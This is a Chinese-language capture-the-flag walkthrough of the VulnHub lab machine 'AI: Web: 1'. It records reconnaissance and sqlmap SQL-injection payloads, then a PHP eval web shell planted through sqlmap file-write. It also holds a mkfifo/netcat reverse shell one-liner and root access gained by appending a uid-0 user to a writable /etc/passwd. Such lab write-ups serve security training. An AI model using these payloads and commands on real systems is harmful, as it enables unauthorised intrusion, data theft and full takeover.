【靶机渗透实战】AI：WEB：1

靶机下载官网AI: Web: 1 ~ VulnHub

靶机描述

Difficulty: IntermediateNetwork: DHCP (Automatically assign)Network Mode: NATThis box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress

难度：中级
网络：DHCP（自动分配）
网络模式：NAT

这个盒子旨在测试渗透测试人员的技能。目标很简单。从/root/flag.txt中获取标志（flag）。对盒子进行枚举，获取低权限的shell，然后将权限提升到root。如需任何提示，请在推特上关注@arif_xpress。

靶机界面

信息收集

主机发现

┌──(kali💋kali)-[~]
└─$ sudo nmap -sP 10.4.7.0/24 -oN nmap.sP
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-12 11:51 CST
Nmap scan report for 10.4.7.2
Host is up (0.00024s latency).
MAC Address: 00:50:56:E0:20:34 (VMware)
Nmap scan report for 10.4.7.179
Host is up (0.00064s latency).
MAC Address: 00:0C:29:42:F7:5E (VMware)
Nmap scan report for 10.4.7.254
Host is up (0.0015s latency).
MAC Address: 00:50:56:E4:E4:95 (VMware)
Nmap scan report for 10.4.7.139
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.98 seconds

端口扫描

┌──(kali💋kali)-[~]
└─$ sudo nmap -A -T4 -sC -p- -sT 10.4.7.179 -oN nmap.A
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-12 11:55 CST
Nmap scan report for 10.4.7.179
Host is up (0.00052s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open http    Apache httpd
|_http-title: AI Web 1.0
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
MAC Address: 00:0C:29:42:F7:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 10.4.7.179

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds

网站信息

网站首页

nikto 报告

┌──(kali💋kali)-[~]
└─$ nikto -h http://10.4.7.179/                                                                          130 ⨯
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.4.7.179
+ Target Hostname:    10.4.7.179
+ Target Port:        80
+ Start Time:         2025-02-12 12:35:32 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: 8d, size: 590703a18e440, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8104 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2025-02-12 12:39:25 (GMT8) (233 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

robots.txt

Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

/se3reTdir777/目录

敏感目录扫描

/m3diNf0/目录扫描

dirb扫描器

┌──(kali💋kali)-[~]
└─$ dirb http://10.4.7.179/m3diNf0/                                                                        1 ⨯

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Feb 12 12:47:36 2025
URL_BASE: http://10.4.7.179/m3diNf0/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.4.7.179/m3diNf0/ ----
+ http://10.4.7.179/m3diNf0/info.php (CODE:200|SIZE:84260)

-----------------
END_TIME: Wed Feb 12 12:47:40 2025
DOWNLOADED: 4612 - FOUND: 1

dirsearch扫描器

扫出了/info.php

提取敏感信息

User/Group      www-data(33)/33 
DOCUMENT_ROOT   /home/www/html/web1x443290o2sdf92213

se3reTdir777 目录扫描

┌──(kali💋kali)-[~]
└─$ dirb http://10.4.7.179/se3reTdir777/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Feb 12 16:17:39 2025
URL_BASE: http://10.4.7.179/se3reTdir777/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.4.7.179/se3reTdir777/ ----
+ http://10.4.7.179/se3reTdir777/index.php (CODE:200|SIZE:1228)
==> DIRECTORY: http://10.4.7.179/se3reTdir777/uploads/

---- Entering directory: http://10.4.7.179/se3reTdir777/uploads/ ----

-----------------
END_TIME: Wed Feb 12 16:17:46 2025
DOWNLOADED: 9224 - FOUND: 1

找到切入点

找到提交参数，使用sqlmap找到漏洞

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit"

注入点信息

参数：uid（POST 请求方式）
总请求数：3940 个 HTTP (s) 请求

不同类型的注入分析

1. 布尔盲注（boolean - based blind）

类型描述：基于布尔条件的盲注，通常利用 SQL 语句中的布尔表达式判断条件真假来获取信息，一般在 WHERE 或 HAVING 子句中使用。
标题：OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload：uid=1' OR NOT 1507=1507#&Operation=Submit
原理：在原始 SQL 语句中，1' 用于闭合可能存在的单引号，OR NOT 1507=1507 是一个恒为真的布尔表达式，# 是 MySQL 中的注释符，用于注释掉原 SQL 语句中剩余部分，避免语法错误。通过观察页面响应的不同（如页面返回状态、内容长度等）来判断条件真假，逐步获取数据库信息。

2. 错误回显注入（error - based）

类型描述：利用数据库在执行错误 SQL 语句时返回的错误信息来获取数据库相关信息，通常在 WHERE、HAVING、ORDER BY 或 GROUP BY 子句中使用。
标题：MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload：uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit
原理：1' 用于闭合单引号，AND 连接后续条件，GTID_SUBSET 是 MySQL 5.6 及以上版本的一个函数，CONCAT 用于拼接字符串，ELT 函数根据条件判断返回结果。当执行该 SQL 语句时，如果数据库版本支持且语法错误，会返回包含我们构造信息的错误信息，从而获取数据库信息。-- IvZq 是注释部分，用于注释掉原 SQL 语句剩余部分。

3. 时间盲注（time - based blind）

类型描述：基于时间延迟的盲注，通过让数据库执行 SLEEP 函数来判断条件真假。如果条件为真，数据库会暂停执行一段时间，根据页面响应时间的变化来获取信息。
标题：MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload：uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit
原理：1' 闭合单引号，AND 连接条件，SELECT(SLEEP(5)) 会让数据库暂停 5 秒。如果页面响应时间明显增加，说明条件为真，反之则为假。通过多次尝试不同条件，逐步获取数据库信息。-- vIYW 是注释部分。

4. UNION 查询注入（UNION query）

类型描述：利用 SQL 的 UNION 操作符将原查询结果和我们构造的查询结果合并，从而获取数据库信息。
标题：MySQL UNION query (NULL) - 3 columns
Payload：uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
原理：1' 闭合单引号，UNION ALL 用于合并查询结果，SELECT NULL,NULL,CONCAT(...) 是我们构造的查询语句，需要保证列数与原查询结果一致（这里是 3 列）。CONCAT 函数用于拼接字符串，我们可以通过修改拼接内容来获取不同的数据库信息。# 是注释符，用于注释掉原 SQL 语句剩余部分

SQLI漏洞利用

库

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --current-db

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --current-db
        ___
       __H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [)]     | .'| . |
|___|_ ["]_|_|_|__,| _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:54:10 /2025-02-12/

[17:54:10] [INFO] resuming back-end DBMS 'mysql'
[17:54:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:54:10] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:54:10] [INFO] fetching current database
current database: 'aiweb1'
[17:54:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[17:54:10] [WARNING] your sqlmap version is outdated

[*] ending @ 17:54:10 /2025-02-12/

获取到库名aiweb1

表

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --tables

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --tables
        ___
       __H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [)]     | .'| . |
|___|_ ["]_|_|_|__,| _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:57:21 /2025-02-12/

[17:57:21] [INFO] resuming back-end DBMS 'mysql'
[17:57:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:57:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:57:21] [INFO] fetching tables for database: 'aiweb1'
Database: aiweb1
[2 tables]
+------------+
| user       |
| systemUser |
+------------+

[17:57:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[17:57:21] [WARNING] your sqlmap version is outdated

[*] ending @ 17:57:21 /2025-02-12/

列

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --dump

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --dump
        ___
       __H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . ["]     | .'| . |
|___|_ ["]_|_|_|__,| _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:59:20 /2025-02-12/

[17:59:20] [INFO] resuming back-end DBMS 'mysql'
[17:59:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:59:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:59:21] [INFO] fetching tables for database: 'aiweb1'
[17:59:21] [INFO] fetching columns for table 'user' in database 'aiweb1'
[17:59:21] [INFO] fetching entries for table 'user' in database 'aiweb1'
Database: aiweb1
Table: user
[3 entries]
+----+----------+-----------+
| id | lastName | firstName |
+----+----------+-----------+
| 1 | admin    | admin     |
| 2 | root     | root      |
| 3 | mysql    | mysql     |
+----+----------+-----------+

拿到数据，数据为账号密码

使用sqlmap写入木马

撰写木马

┌──(kali💋kali)-[~]
└─$ vim yjh.php

┌──(kali💋kali)-[~]
└─$ cat yjh.php
<?php
@eval($_REQUEST[777]);
?>

结合上面的DOCUMENT_ROOT /home/www/html/web1x443290o2sdf92213

sqlmap -u "http://10.4.7.179/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
[sudo] password for kali:
        ___
       __H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_ [.]_|_|_|__,| _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:31:34 /2025-02-13/

[09:31:34] [INFO] resuming back-end DBMS 'mysql'
[09:31:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[09:31:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[09:31:34] [INFO] fingerprinting the back-end DBMS operating system
[09:31:34] [INFO] the back-end DBMS operating system is Linux
[09:31:34] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file 'yjh.php' has been successfully written on the back-end DBMS file system ('/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php')? [Y/n] y
[09:31:44] [INFO] the remote file '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php' is larger (35 B) than the local file 'yjh.php' (33B)
[09:31:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[09:31:44] [WARNING] your sqlmap version is outdated

[*] ending @ 09:31:44 /2025-02-13/

中国蚁剑连接

密码777

获取目录并拿到shell

反弹shell

本地监听

┌──(kali kali)-[~/Documents/AI_WEB_1]
└─$ nc -lnvp 1234              
listening on [any] 1234 ...

服务器上执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.9 1234 >/tmp/f

进入交互式Shell

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$

查看目前身份权限

提权

全局寻找可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件

我们可以发现/etc/passwd文件有普通用户写权限

ls -la /etc/passwd

利用/etc/passwd提权

www-data@aiweb1:/etc$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
....
aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh

对root:x:0:0:root:/root:/bin/bash进行分析

root表示用户名；x表示密码hash，0表示用户ID，0表示用户组ID，/root表示用户相关信息，/bin/bash表示该用户使用何种shell执行命令

生成一个用户密码

向 /etc/passwd中写入一个用户

echo ajest:ajrFVgiA9Y9gw:0:0:root:/root:/bin/bash >> /etc/passwd

su ajest #切换用户

拿到 flag

┌──(kali💋kali)-[/dev]
└─$ nc -lnvp 1234                                            1 ⨯
listening on [any] 1234 ...
connect to [10.4.7.139] from (UNKNOWN) [10.4.7.179] 41696
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/$ su ajest
su ajest
Password: 123456

root@aiweb1:/# cat /root/flag.txt
cat /root/flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
# flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} #
#                                                  #
####################################################
root@aiweb1:/# ^C